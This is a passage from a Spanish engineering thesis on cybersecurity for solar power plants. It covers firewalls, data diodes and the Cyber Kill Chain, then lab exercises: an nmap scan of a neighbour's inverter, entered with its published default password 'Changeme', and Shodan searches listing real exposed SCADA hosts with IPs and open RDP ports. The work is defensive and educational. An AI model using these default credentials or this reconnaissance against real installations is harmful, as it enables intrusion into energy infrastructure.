Identity (IMEI). Transmits all data to command /
phone tapping center through GPRS, 3G / 4G, SMS.

Electrical / Wingspan 140 cm / Endurance 25
mins / GPS / Way Points / Autonomous Flight Path /
Realtime Data Downlink / 3 - Axis Brushless Gimbal
Crowd Control / Surveillance

TECHNOLOGIES

Figura 31: Aerial ISMI Catcher (Google imagenes)

En este caso se realiza un “down gradding” al router 3G para que utilice las antiguas
comunicaciones GPRS, de menor velocidad y cuya seguridad a nivel de cifrado ya esta rota.
Esta misma técnica se puede usar para atacar las comunicaciones Wifi, en este caso el equipo

que lleva el dron es un punto de acceso Wifi.

Por ltimo, quiero indicar que el uso de VPNs en este tipo de instalaciones es absolutamente
imprescindible, aunque ello no conlleva que las propias VPNSs estén libres de amenazas y

vulnerabilidades.

3.5.9 EQuIrPos DE CIBERSEGURIDAD INSTALADOS

En este caso nos referimos a los equipos de seguridad instalados en la red de comunicaciones
de la planta fotovoltaica, como son los firewalls, diodos de datos y sistemas de deteccion de

anomalias y amenazas.

Estos dispositivos, nos van a proporcionar una mejora muy importante en la ciberseguridad
de nuestra planta. Sin embargo, no debemos olvidar que siguen siendo equipos hard/soft y
por lo tanto pueden recibir ciberataques de maltiple naturaleza. También los errores humanos
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en su configuracion, olvidos y malas practicas pueden abrir brechas de ciberseguridad, si no
disponemos de una buena metodologia y guias de uso adecuadas.

Lo normal es encontrarnos con un firewall que protege el punto de entrada de las
comunicaciones externas y otros firewalls dentro de la red protegiendo a equipos criticos e
impidiendo las comunicaciones que queramos prohibir (recuérdese el concepto de las areas
del modelo PERA).

En términos simples, los firewalls son un medio para bloquear o permitir la transmisién de
datos entre ordenadores y dispositivos inteligentes en una red de manera condicional. En la
siguiente figura se ve el uso de firewalls para filtrar y proteger las redes y sistemas OT de
las redes y sistemas IT.

IT -~
Network -
s
”
. oT
Network

-~

Figura 32: Firewalling IT-OT (www.knowledgebase.paloaltonetworks.com);i

El filtrado de los mensajes de un firewall se puede realizar por:

e Direccion IP.
e Protocolo.

e Direccion del flujo de datos (entrada o salida).
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e Estado del canal de comunicaciones (por ejemplo, quién inici6 las comunicaciones).

Los firewalls modernos pueden ser muy sofisticados y pueden incluir numerosas
caracteristicas adicionales mas alla de la capacidad basica de filtrar mensajes. En el mundo
IT, ademaés existen diferentes tipos de firewall, en funcion de sus capacidades, caracteristicas
avanzadas, donde se realiza el filtrado, si los procesos los realizan por software o por

hardware, etc.

En OT, ademas de servir de primer nivel de “corta fuegos” entre IT e OT, también se utilizan

internamente, dentro de la red OT, para realizar dos tipos de funciones:

e Realizar filtrados internos. Utilizando reglas especificas entre las diferentes areas
existentes, muy distintas a las que se usan en el firewall de entrada.

e Crear zonas desmilitarizadas (DMZ). Una DMZ es una red separada que actla
como una zona de amortiguamiento entre dos redes fisicas que no confian entre si,
pero necesitan intercambiar cantidades limitadas de datos. La DMZ se crea

mediante el uso de un firewall entre cada una de las redes y la DMZ.

En la figura 33 se ve una instalacion OT donde se ve un firewall de entrada (del fabricante
Palo Alto) que a su vez crea tres (3) DMZs (DMZ 1, DMZ 2 y DMZ 3), en color naranja.
En cada DMZ estan situados servidores diferentes, por ejemplo, en la DMZ 2 se encuentra
un servidor web y otro servidor que realiza las tareas de parcheo de vulnerabilidades.
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Figura 33: Instalacion OT con tres DMZs, tres areas y un sistema de deteccion de anomalias y amenazas

(https://www.nozominetworks.com)

También podemos comprobar como se han separado los diferentes PLCs existentes en tres
areas (color amarillo) mediante la utilizacion de tres firewalls. Por Gltimo, se esta utilizando

un sistema para detectar anomalias y amenazas (DAA).

Los Detectores de Anomalias y Amenazas son equipos que monitorizan constantemente la
parte del trafico de la red donde estan conectados e identifican amenazas de ciberseguridad
y otros riesgos mediante reglas complejas, firmas de vulnerabilidades conocidas e incluso el
uso de inteligencia artificial.

Otra medida de ciberseguridad son los diodos de datos que ofrecen una solucién reforzada
por hardware para defender las redes OT y los sistemas de seguridad. Para ello su utiliza un

flujo de datos unidireccional sin permitir que regresen las amenazas.

En la siguiente figura se ve el funcionamiento de los diodos de datos.
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PCI-E Interface transfer PCI-E Interface

of sending host of receiving host
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Send-only DualDiode Receive-only DualDiode
communication card communication card

Figura 34: Diodo de datos en una fibra optica ( https://iebmedia.com/)

El flujo de datos unidireccional en los diodos de datos esta disefiado para proteger las redes
OT de las amenazas externas. Para ello elimina el flujo de datos entrantes y, en ultima
instancia, las amenazas externas de un posible hacker a los segmentos de lared OT, al tiempo

que proporciona el flujo de datos necesario para monitorizar la instalacion.

3.6 FASES DE UN CIBERATAQUE (DESDE LA PERSPECTIVA DE UN
HACKER)

Un ejercicio util para pensar en la ciberseguridad de IT y OT es ver las diferentes acciones

gue un atacante realizaria o podria realizar para comprometer un sistema OT.

La comparfiia Lockheed Martin, ha creado un marco de accién denominada “Cyber Kill
Chain” para describir estos pasos que podria dar un hacker. La figura 35 resume las

diferentes fases de un ciberataque.
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RECONNAISSANGE

Harvesting email addresses,
conference information, etc.

WEAPONIZATION

Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundle to the
victim via email, web, USB, etc.

Exploiting a vulnerability to execute
code on victim’s system

COMMAND & CONTROL (C2)

Command channel for remote
manipulation of victim

ACTIONS ON OBJECTIVES

With ‘Hands on Keyboard’ access,
intruders accomplish their original goals

Figura 35: Las 7 fases de un ciberataque -The Lockheed Martin Cyber Kill Chain Framework
(https://www.lockheedmartin.com)
Evidentemente este modelo genérico no siempre se va a dar, no todos los ciberataques

requieren cada fase descrita en Ciber Kill Chain. Las fases generales de un ataque, como se

describe en el marco “Ciber Kill Chain” de Lockheed Martin son:

1. Reconocimiento: Investigacion, identificacion y seleccion de objetivos e intentos de
descubrir vulnerabilidades en la red, equipos y sistemas objetivos de un ciberataque.
2. Armamento: Creacidn de malware de acceso remoto disefiado para explotar el sistema

basado en las vulnerabilidades identificadas.
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3. Entrega: Transmision del malware al objetivo, mediante un archivo adjunto de correo
electronico, USB, ftp, etc.

4. Explotacion: El codigo del malware se activa para explotar la vulnerabilidad
detectada.

5. Instalacion: EI malware instala un troyano de acceso remoto o una puerta trasera que
puede utilizar el hacker.

6. Comando y control: EI malware generalmente necesita configurar un canal de
comunicaciones para comando y control, a través del cual puede comunicarse con el
atacante.

7. Acciones sobre el objetivo: El atacante estd ahora en posicion de realizar acciones

maliciosas, como robar, destruir, o corromper informacion, etc.

Para ver estos procesos, vamos a realizar tres practicas sencillas. El objetivo es comprobar
varios aspectos. Primero investigar, usando el buscador Google, el nivel de herramientas de
ataque (pentesting, hacking ético, analizadores de vulnerabilidades, centros de informacion
de vulnerabilidades, etc.) que se encuentran disponibles en Internet. Segundo, comprobar el
grado de dificultad en el uso de las herramientas que vamos a utilizar y tercero ver su

eficiencia desde el punto de vista de los ciberataques.

Debido a las limitaciones evidentes de este TFG y de los medios limitados que dispongo, he
creido conveniente hacer las siguientes 3 practicas. Ademas de la documentacion escrita de
las mismas, he afiadido un video de cada una de ellas para complementar la informacién

obtenida durante su ejecucion.
Las practicas desarrolladas son las siguientes:

e Practica 1: Fase de reconocimiento basico y descubrimiento de vulnerabilidades de un
inversor solar fotovoltaico en una instalacion de autoconsumo. Para ello utilizaremos
la herramienta NMAP de nmap.org

e Practica 2: Fase de reconocimiento avanzado “sigiloso”, identificacion y analisis de

vulnerabilidades encontradas a través de centros de informacién on-line. Para ello
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utilizaremos el servicio web que ofrece Shodan y analizaremos las vulnerabilidades en
varios centros de informacion on-line.

e Practica 3: Corresponde a las Fases 2,3,4,5 y 6. Para ello, y una vez detectada una
vulnerabilidad en el equipo atacado, utilizaremos una herramienta denominada
metaesploit que se caracteriza por su sencillez de uso y automatizacion de dichas fases,

es decir armamento, entrega, explotacion, instalacion y comando y control.

3.6.1 PRACTICA 1: RECONOCIMIENTO (ESCANEO) DE UN INVERSOR

FOTOVOLTAICO EN UNA INSTALACION DE AUTOCONSUMO CASERO.

Se adjunta el link del video de la practica: https://youtu.be/bxxO0OXj0V84

Esta practica tiene como objetivo la realizacién de un analisis preliminar para ver las
vulnerabilidades de un dispositivo inteligente y conectado a la red. En nuestro caso es un
inversor de la instalacion solar fotovoltaica de mi vecino, una vez que he obtenido su permiso

para la realizacion de esta practica.

El objetivo es familiarizarse y ver el funcionamiento de una herramienta freeware, muy
utilizada, que permite conocer los servicios (aplicaciones) que tiene abiertos un equipo
informatico, asi mismo podemos conocer el tipo y versién del su sistema operativo. En

concreto utilizaremos el nmap (www.nmap.org) en su version para Windows con un

interface grafica que es mas sencillo de usar que el uso de comandos.

Aunque este TFG esta enfocado a Plantas de generacion de energia eléctrica, vamos a
realizarla en un entorno de autoconsumo casero, mas asequible y evidentemente mucho
menos protegido a nivel de ciberseguridad. Esto nos permite entender los procesos basicos

de la fase de reconocimiento que hacen los hackers previos al posible ataque o intrusion.

Ya se vio en el capitulo de descripcion de la infraestructura de comunicaciones, que es
habitual que los inversores de gran tamafio, disponga de alternativas Wifi para comunicarse

con otros dispositivos.

77


https://youtu.be/bxxOOXj0V84
http://www.nmap.org/

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

L icar icape ] CRITERIOS DE CIBERSEGURIDAD

Lo primero que tenemos que averiguar es si el inversor que estamos reconociendo tiene Wifi,
y en caso de que asi sea, cual es la identificacion de la red. Para ello solo hace falta ver las
redes Wifi que nuestro ordenador ve. Observamos, segun se aprecia en la figura siguiente,
que nos aparece una red con el candado (esta cifrada) cuya identificacion es SUN200, lo que
nos indica, por su nombre, que puede ser la del inversor y ademas no tiene conectividad con

Internet.

| WiFi

ﬁﬁ SUN2000-102160042007
Sin Internet

8
(7 78758844
é

7% MIWIFI_TH5Q

-]
m MOVISTAR_PLUS_6ED4

Configuracién de red e Internet
Cambia los ajustes de configuracién, como hacer
que una conexién sea de uso medido.

@ e

Wi-Fi Maodo avién cobertura

Figura 36: Redes Wifi Disponibles

El siguiente paso es acceder a Google y buscar la palabra SUN200, esto nos permitira saber

si estamos en lo cierto.
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< ow Me Title - G surx + v - O x
& C @ O A = hipsfwwwgoogleco 0 & » =
Go gle SUN200
Q Todo @ Maps [ videos (@ Imagenes [ Noticias i Mas

Aproximadamente 252000 resultados (0,41 segundos)

Anuncio - hitps://b2b technosun.com/huawei/sun2000 -

Inversores Huawei - Huawei SUN2000L-KTL-M2

Entrega inmediata, stock permanente en toda la gama SUN2000 de inversores !
Los mejores precios del mercado. Todos los modelos en stock. Envios en el dia
Ofertas. Al Mejor Precio. Gran descuento. Marcas: SolaxX Power, SOFAR.

Area De Descargas
Tenemos una Amplia Documentacion Para los Usuarios Y Clientes Aqui.

Figura 37: Resultados de la basqueda en Google

El primer resultado cuadra al 100% y nos dice que pudiera ser un inversor del fabricante
Huawei. El siguiente paso es descargar su manual de instrucciones y toda la informacion que
encontremos de su instalacion. El objetivo es ver las caracteristicas de comunicaciones de
este y cuales son los usuarios y passwords por defecto, ya que lo normal es que esta

informacidn, altamente sensible, no se modifique.

NOTICE

* The screenshots in this document correspond to FusionSolar app version 5.7.008 (this app is
available only on Android phones currently).

* The screenshots in this document correspond to SUN2000 app version 3.2.00.013 (this app is
available only on Android phones currently).

+  When the WLAN connection is used, the initial name of the WLAN hotspot is Adapter- WLAN
modtle SN, and the initial password is Changeme.

+ The initial password to log in to the app for Commeon User, Advanced User, and Special
User is 00000a.

+ Use the initial password upon first power-on and change it immediately after login. To ensure
account security, change the password periodically and keep the new password in mind. Not
changing the initial password may cause password disclosure. A password left unchanged for
a long period of time may be stolen or cracked. If a password is lost, devices cannot be
accessed. In these cases, the user is liable for any loss caused to the PV plant.

* Set the correct grid code based on the application area and scenario of the solar inverter.

Figura 38: Blsqueda de usuarios y passwords por defecto en el manual de instalacién

79



UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

I YR Y-T T CRITERIOS DE CIBERSEGURIDAD

Ahora toca probar si podemos acceder usando la password por defecto, que es Changeme.
Pero antes de intentarlo, estudiaremos el esquema de instalacion de estos inversores desde
el punto de vista de sus comunicaciones. En la figura siguiente, sacada del manual, se

aprecian las diferentes alternativas de interconexion que ofrece el fabricante.

4 Inversor
* secundario

1

el :
' : X Carga primaria Carga
| e RS4851 = RO
. Sensor de

........... energfa
|ntehgente

'Optlmlzador Ei | i Controlador 3
...... SUN2000 | de copla de '
] seguridad 1 [ g
o — Backup=— ...... —
A j—‘ ------ .+ ACDU
| DI RS485 I Red eléctrica

[
"
1
........ v DI ! I I I Dispositivo de control
' Baterla ' l 1 de rizado 1
: ] N f &0 oo nEn "
- i [} S i g a4
' | RS4858Enable ! e mmmmm—————
' ' fl DI VA ¥
: : n @ Interruptor de 1
1
\

p ! apagado rapido :
(7

Aplicacién FusionSolar

\
\
|
§z))
|

I - ' !
Smart Dongle 4G : \
4G ' frmmmmm - .
a A

PC con NMAP
y acceso WiFi

(] L]
- 1 1
M ] ]
' I ]
directamente F = Smart Dongle : : Slste_réna de |
WLAN-FE S ' , gestion 1
' Do ;
. YR : 7 :
' = 'FE | Router :Ethemel | Aplicacion )
be e +  FusionSolar
___Cable de ___Cable de ... Comunicacién
sefial alimentacién inaldmbrica

Figura 39: Esquema de instalacion inversor SUN 200 (manual de instalacién)

Para el envio de informacion al sistema de gestion externo se puede utilizar un “Smart dongle
WLAN-FE” para que el inversor se conecte a la red Wifi del propietario de la instalacion o
mediante una red 4G.

Por otra parte, el inversor dispone de una red Wifi para que el instalador o el técnico de
mantenimiento pueda configurar los parametros o realizar mantenimiento. Parece obvio que
el fabricante pretende que en caso de problemas o averias los técnicos no tengan que solicitar

permiso y claves al propietario, pudiendo acceder al inversor mediante una aplicacion que
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esta disponible en su web, para modificar, configurar y mantener el equipo. Esto va a generar

una brecha de seguridad, como veremos mas adelante.

Si no se ha cambiado las passwords, estariamos en disposicion de realizar un ataque de
reconocimiento sin tener que acceder a la red Wifi del propietario de la instalacion. Como
era de esperar, al introducir la password por defecto entramos en la red Wifi del inversor.
iNo se habia cambiado la misma!

Para saber nuestra IP en esta red y la del inversor solo tenemos que ir al simbolo del sistema
(CMD) y teclear ipconfig, es decir ver la configuracion que hemos obtenido al entrar en la

red WiFi del inversor (figura siguiente).

‘ ¥ Simbole del sistema - o x

Puerta de enlace predeterminada . . . . . : ~
Adaptador de LAN inaldmbrica Wi-Fi:

Sufijo DNS especifico para la conexidén. . :

Vinculo: direccidn IPv6 local. . . : fe8@::3d2d:ca89:5006:faac%l9
Direccidén IPV4. . . . . . . . . . . . . . : 192.168.200.2
Mascara de subred . . . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . . . . . : 192.168.20@.1

Adaptador de LAN inaldmbrica Wi-Fi 3:

I
| Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexidn. . :

Adaptador de Ethernet Conexidn de red Bluetooth:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexiodn. . :

Figura 40: Captura de pantalla de la cmd de mi ordenador

Comprobamos que nuestra IP es la 192.168.200.2 y la del inversor tendra que ser la
192.168.200.1 ya que es la puerta de enlace (router de salida) en el caso de que tuviera acceso

a Internet, ya vimos que no lo tenia.

Por ultimo, echaremos un vistazo a las propiedades de nuestra conexion Wifi con el inversor.
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Propiedades
SSID: SUN2000-102160042007
Protocolo: Wi-Fi 4 (802.11n

WPAZ2-Personal

Tipo de seguridad:

Banda de red: 2.4 GHz

Canal de red: 7

Velocidad de vinculo 300/14 (Mbps)
(recepcion/transmision):

Direccion IPvé4: 192.168.200.2

Servidores DNS |Pv4:

Fabricante:

Descripcion:

Version del controlador:

Direccion fisica (MAC):

ASUS USB-N10 1

vvileless L

1027.4.630.2015

ASUSTeK Computer Inc.

OMbps 11n
gle

C-5C-8E-B1-49-E5

Figura 41: Propiedades de la conexion Wifi con el inversor

Vemos que la seguridad que se esta utilizando es WPA2 Personal, que tiene varias

debilidades. La primera es el uso de una Unica clave para acceder a la red, es decir no existe

una clave diferente para cada usuario. La segunda radica en que WPA2 es un estandar de

cifrado y autenticacion bastante antigua, y ya se han reportado varios problemas de

ciberseguridad por lo que actualmente se recomienda utilizar su sustituto WPAS3.

Ahora ya estamos en disposicién de ejecutar la aplicacibn NMAP para analizar en

profundidad el equipo. Para ello ejecutaremos un escaneo intenso a todas las puertas TCP

(de la 1 a la 65535), lo que nos llevara algin tiempo y generara trafico que podria ser

detectado si el equipo dispusiese de un detector de intrusion, lo cual es practicamente

imposible en una instalacién de autoconsumo, y habria que ver si lo tienen los grandes

inversores, yo no lo he podido encontrar en ninguno.
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= Zenmap
:Escgneo Herramientas  Perfil  Ayuda (H)

| |
Objetive: | 192.168.200.1 ~ | Perfil: | Intense scan, all TCP ports ~ | |Escaneo| |Cancelar

Comando: | nmap -p 1-63333 -T4 -A -v 192,168.200.1

Servicios Salida Nmap Puertos / Servidores Topologia Detalles del servidor  Escaneos

05 4 Servidor - £1:192.168.200.1;
L 192.168.200.1 = Estado del servidor
Estado: up
Puertos abiertos: 1 l'j
Puertos filtrados: 2

Puertos cerrados: 65532
Puertos escaneados: 63333

Tiempe activo: Mo disponible . 2l

Ultima inicializacién: No disponible

= Direcciones
IPvd: 192.168.200.1

IPvE: Mo disponible
MAC:  20:AB:48:EE:C1:60
[= Sistema operativo

Nombre: OSRAM Lightify ZigBee gateway

Precisién: 96%

=l Puertos usados
Puerto-Protocole-Estado: 502 - tep - open
Puerto-Protocolo-Estado: 1 - tcp - closed
Puerto-Protocolo-Estado: 39730 - udp - closed

=l Clases de 0§
Tipo Fabricante Familia OS5 Generacion OS5 Precision
specialized OSRAM embedded 96%

Comentarios

Filtrar servidores
Figura 42: Datos obtenidos tras el analisis con namp

3.6.1.1 Conclusiones méas importantes que sacamos de la realizacion de esta
practica:

El factor humano es uno de los escalones mas débiles de la cadena de seguridad, en este caso
probablemente por desconocimiento del instalador del equipo se ha dejado la password por
defecto sin cambiar. Esto hace posible tener acceso al equipo y mediante la aplicacion
disponible en Internet para su configuracion cambiar los pardmetros de ajuste del mismo,
ponerlo fuera de servicio o simplemente obtener datos de consumo y generacion de la red de

autoconsumao.
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El resultado del analisis con NMAP nos indica que esta accesible la comunicacion mediante
el protocolo Modbus/TCP, que probablemente es el que utilice la aplicacién de

mantenimiento anteriormente comentada.

Por otra parte, el sistema operativo es una variante de un sistema UNIX, aunque el NMAP
no nos lo confirma al 100% y seguramente serd alguna modificacion y adaptacion del
sistema operativo androide, ya que este fabricante (Huawei) es el que utilizaba en sus
moviles. Un analisis mas detallado con otro tipo de herramientas de reconocimiento de

vulnerabilidades nos podria indicar que brechas de ciberseguridad podrian existir.

Lo mas importante es lo facil que ha resultado acceder al equipo, gracias a la nula proteccion
del acceso Wifi. De esto se deduce que si utilizamos comunicaciones inaldmbricas, como es
el caso de Wifi deberemos auditar su seguridad correctamente, configurando bien los
equipos desde el punto de vista de la ciberseguridad, y pasando herramientas de
reconocimiento de vulnerabilidades cada cierto tiempo para detectar posibles brechas que

pudieran usar los potenciales hackers para tener acceso a nuestra instalacion.

Por altimo, la idea de dejar un acceso abierto para la instalacion y mantenimiento del equipo
es una mala préctica, ya que nadie cambia la password por razones obvias de como se
gestionan, es més facil dejar la de por defecto, lo cual es un agujero de entrada al equipo

enorme.

3.6.2 PRACTICA 2: RECONOCIMIENTO AVANZADO (INVISIBLE) A TRAVES DE
INTERNET PARA LOCALIZAR EQUIPOS DE SISTEMAS INDUSTRIALES Y

VULNERABILIDADES CONOCIDAS

Se adjunta el link del video de la préactica: https://youtu.be/u8L5aHrAFzo

Esta practica tiene como objetivo la utilizacion de un buscador, no de enlaces a paginas web

o documentos como Google, si no de equipos que estan conectados a Internet.

Este buscador se llama Shodan y nos permite buscar y ver qué servicios estan abiertos en

dichos dispositivos, incluso las vulnerabilidades que estan presentes. Lo mas importante es
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qué los usuarios que utilizan este buscador no necesitan realizar la conexion a dichos
equipos, solo buscan en la gran base de informacion que tiene Shodan, al igual que hacemos

en Google.

En la figura siguiente vemos la pagina de navegacion de Shodan. Podemos comprobar que
ademas de una entrada de bdsqueda, segun una serie de filtros y palabras que le indiquemos,
dispone de cuatro categorias principales: Sistemas de Control Industrial, Bases de Datos,
Infraestructuras de Red y Video Juegos. También nos muestra las etiquetas de bisqueda mas

utilizadas: caAmaras web, cdmaras, IPs, ftp, routers, etc.

®Q SHODAN  Explore  Downloads  Pricing : n

b =—

Industrial Control System:

RESEARCH

@) Shodan 2000

2000.SHODAN.I0

@ Internet Observatory

Apple AirPlay Receivers

EXPOSURE SHODAN.IO

Door/ Lock Access Controllers

]

&7 Favicon Map

Favicons are the small icons you see in your
! Nardav Wind Tiirhina Farme v

Figura 43: Pagina de busqueda de Shodan

A Shodan tiene acceso cualquier persona, pero en su modalidad freeware, que tiene
limitaciones muy importantes, existen otros tipos de subscripciones a este servicio mediante
pagos mensuales que van desde 69 $ a 1099 $ al mes, todas ellas con diferentes capacidades

y limitaciones.

En nuestro caso vamos a acceder a la pagina de entrada de Sistemas de Control Industrial,

paginas que podemos ver en la imagen siguiente.
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Industrial Control Systems

[ Theo Basics. % Commen Terms. 8 Search Fiter

b

Moo SIEMENS dnp

TRIDIUM BACne Ethon ‘et/IP

Figura 44: Pagina de busqueda de sistemas de control industrial

Vemos que podemos buscar sistemas SCADA, PLCs, DCSs y fabricantes y protocolos
utilizados comunmente en este entorno: Modbus TCP, IEC 104 y un largo etc. Para ver que
nos ofrece Shodan pinchamos en el protocolo IEC 104, del cual se ha hablado en este TGF.

Los resultados se pueden ver en la imagen siguiente.

S a =
1764 ™ R Chack ou Shoden Honor
2121748351
e .
- [ pe——
=
e 62.220.12.176

TUAKCELL INTEIET . =

947492109

7221412182

5.26.95.186

Figura 45: Resultados de la bisqueda del protocolo IEC 104

86



COMILLAS

UNIVERSIDAD PONTIFICIA

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)

GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

CRITERIOS DE CIBERSEGURIDAD

Casi dos mil dispositivos que a fecha de la realizacion de este documento aparecen en la

base de datos de Shodan, este nimero varia dia a dia en funcion de lo que el motor de

busqueda de Shodan van encontrando.

Observamos que los resultados se ordenan por paises, organizaciones y otros criterios que

dependeran de cada tipo de equipo que estamos buscando. Si pinchamos en cualquiera de

ellos, vemos los datos que nos resultan interesantes: Puertos abiertos (Servicios), que han

respondido a las consultas que ha hecho Shodan. En este ejemplo el puerto 443 TCP (que

corresponde al servicio https), el 500 UDP (que corresponde al intercambio de claves IKE

de una VPN, concretamente basada en IPsec) y la 2404 TCP (que corresponde al tréfico IEC

10

<

4).
@ Explo | B 52X | M Adver ) GitH & Explc NVD - s Natic CVE @ Senic W Metr Software. Recor  CTRNSA W Hom o&E > + v =
C @ O 8 nhitpsi/fwww.shodan.io/host/5.26.70.215 B s ¢ < Buscar Lon DO DN a
AGS: # LAST SEEN: 2022-05-23
@ General Informaticn 5% Open Ports
T

City

Organization

$SL Certificate

B Web Technclogies

& JoUERY

Figura 46

Certificaze

: Detalles de un equipo buscado por el protocolo IEC 104
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A 500 7/ UDR

WPH (IKE)

Initiater SPI: Gd73786e7783937
Responder SPI: 3966396371656131
Mext Payload: Motification (M)
Version: 1.8
Exchange Type: Informational
Flags:
Encryption: False
Commit: False
Authentication: False
Message ID: BOBEEEED
Length: 48

A 2404 7 TCP

Data Received: GEcbDBOoRDBo2427038001730100101edaad 1000074238 37051682001 FE0419F4100007 4280 37051603001 F77be 324100007 42883705
1684861474834 260897 d288e 37851665801 F2d 32804 280087 4280 37051 686001 T 4706804 202887 4288 3785161 58b1 T850 5b14080087d 288e 37851681801
F85ebaal180e8802 8837051602001 F743F0T4100: 880288 37051603801 T6abc 24180 38280237051 684801 Fe 7 7L 200 BB02 30 3705162 5061 T21 3089
42883802 80e 37851686001 T THI4804 288 B 30280 3785161 5801 The c 1b148688- 880 188e 37851 6818011749234 1084854 2 88 37051 6636102022808 2486838
417382061 FRe 240741804884 288 37051603001 7882 c 5241080842 38 37051 624801 FEL-Ec 20 2000084 282 3705160 580 1 Thel TR04 2000842882 37051686
Bb1T1FE58042884884 280 37851615801 T28420148824854 288 37851 6651 204220008800 38380841 7381001 Fad7 23416882801 fE2 263 T4 16886801 T 1 584834
2206512060000000421038801731 5801 Fabe TR14000

ASDU Address: -1

Figura 47: Detalles de la VPN y datos IEC 104 respondidos por el equipo

Lo mas increible es que no hemos tenido que hacer nada, ya sabemos donde esté localizado
dicho equipo, que servicios estan abiertos y disponibles y de qué tipo de comunicaciones
dispone este equipo, del cual naturalmente nos da su IP, proveedor de Internet al que se
conecta, etc.

En decir, la fase de reconocimiento, que en la primera préctica teniamos que hacer
accediendo fisicamente al equipo (inversor de una instalacién de autoconsumo), esta casi

hecha sin que el propietario de dicho equipo haya detectado nuestra presencia.

Si buscamos por una palabra, por ejemplo, SCADA, nos aparece una primera pagina de
resultados y si analizamos el tipo de productos (TOP PRODUCTS) vemos que existen 72

equipos que tienen la posibilidad de utilizar RDP (Remote Desktop Protocol).
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200.46.71.236 3022.05-23T15.02:04 724398
443 48 Cable Onda wicrosoft RPC Endpoint Mapper
&% Panama, Panams
pal 34
d95a7e70-36d5-4259 -822¢ -2C840a1d0bed
More version: v1.8

protocoli [Ms-RSF1: Remote shutdewn Protocol
provider: wininit.exe
ncacn_ip tcp: 209.46.71.236i49152

Igium SA

Orang

140 ncalrp
ncacn_np: \\SCADA\PIPE\Initshutdown
DigitalOcean, LLC 129 ncalrpc: WASEKRPCATAAED
Linode 97 7efazsca-ecta-...
139.162.0.0116 3
Hyperhost LTD 7 ’
yperhost n to Scada [ 202205-29714:54.24. 720508
More. ) SSL Certificate HTTP/1.1 208 0K
ssued By: Server: ngine/1.12.@ (Ubuntu)
|- Common Name: Date: Mon, 23 May 2822 14:54:24 GMT

S de me.com
Remote Desktop Protocol 72 @ mozon com,

. .  Ynitgg

Microsoft RPC Endpeint Mapper 32 States, Boardman cache-controls no-store, must-revalidste, max-age=e
Set-Cookie: AUTH SESSION_ID-7784207-3¢07-4beb-bfes-cc7febaseade. ip-172-31. .

Apache httpd 13
SQL Server Browser Service 13
i Supported S5L Versions:
lighttpd 13 TLSv, TSV, TLSVA.2
More

185.67.2.195 [] 2022.05-23T14:13:50.578679
B B REEE R EER sen okat-notarius. HTTR/1.1 288 OK
MikroTik RouterOS 6.48.6 n Server: 350 web server, 792/71842 KTTP Server version 2.8 - TELDAT 5.A., Alens/1.ee, ADE groadband HTTF Server, ADH-Web, AR, ASUSTEK Ui
Synology Router Manager {SRM) = rane, Kyiv
1.2.5-8227 4
Windows Server 2012 R2 4
Windows 11 3 166.167.49.177 202208207 13.44:47.677748
177 167-49.myvz unit 1: @
Windows 7 Ultimate 3 v

-~ pevice Identification: schneider Electric emx PRaglee v3.el
-- CPU module: BMX PRAG1EE

More

Figura 48: Resultados de busqueda por la palabra SCADA

Por si esto fuera poco, Shodan nos facilita mucha mas informacion de lo que encuentra, por
ejemplo, la ventana de entrada al servicio si esta existiera, en dicha ventana puede aparecer
informacion del sistema operativo, otros usuarios configurados, etc. Todo ello en funcién

del servicio encontrado. En nuestro ejemplo, veriamos lo siguiente:
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& SSL Certificate Remote Desktop Protocol NTLM Info:
- lssued By: 05: Windows 8.1/Windows Server 2012 R2
== United States, Victoria |- Commen Name: 05 Build: 6.3.9688

WR-SCADA-02 Target Name: WR-S5CADA-82
self-signed N
NetBIOS Domain Mame: WR-SCADA-82
Issued To:

|- Comman Name:
WR-SCADA-02

NetBIOS Computer Nam WR-SCADA-@2
DNS Domain Name: WR-SCADA-@2

FQDN: WR-SCADA-@2

Supported SSL Versions:

TLSw1, TLSv1.1, TLSv1.2 am Windows Server 2812R2

Diffie-Heliman Fingerprint
RFC2409/0akley Group 2

Administrator

S8 Windows Server2012R2

Figura 49: Detalles de un equipo con SCADA

Este equipo es un servidor Windows Server 2012R2, solo tiene configurado un usuario cuyo
nombre es Administrator, soporta las versiones SSL 1, 1.1 y 1.2 para el acceso cifrado y
utiliza el mecanismo criptografico de Diffie-Hellman Grupo 2. Un usuario sin formacion
avanzada no dispone de conocimientos necesarios para comprender totalmente estos
conceptos, pero ha resultado muy facil obtenerlos. Sin embargo, a un hacker profesional le

pueden resultar de gran utilidad.

Para acabar con esta busqueda, me llamo poderosamente la atencion en la Figura 48
encontrar tres equipos que estaban utilizando el sistema Windows 7 Ultimate. Sistema
operativo fuera de servicio desde hace varios afios, que seguramente tenga muchas
vulnerabilidades y pueda ser atacado, sin mucha dificultad. Para corroborar mis

suposiciones, veamos qué ocurre si analizamos este punto.
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@ General Information %3 Open Ports

Hostnames maltmeconetid ﬂ
Domains MECONEL.ID 2000 s001 W 8291 |l 8728

Country Indonesia
A2/TCP 905388357, | 2822-85-19T16156128. 954372
City Jakarta
228 (vsFTPd 3.8.3)
Organization PT JARINGANKU SARANA NUSANTARA 538 L
538 P $th USER and PASS.
211-Feat
ISP PT JARINGANKU SARANA NUSANTARA EPRT
epsv
o™
ASN AS64300 arse
REST STREAM
s1ze
vEs
211 End
5 Web Technologies j .
# 25/ 7TCP -1636563452 | 2622-85-15T23:14:81,295445
BOOTSTRAP FONT AWESOME Ed GOOGLE FONT API
hd = & Postfix smtpd
GOOGLE HOSTED LIBRARIES ¥ GOOGLE MAPS & JoUERY 220-m d ESHTP Postfix

220 m d ESMTP Postfix
250-m d
250-FIPELINING

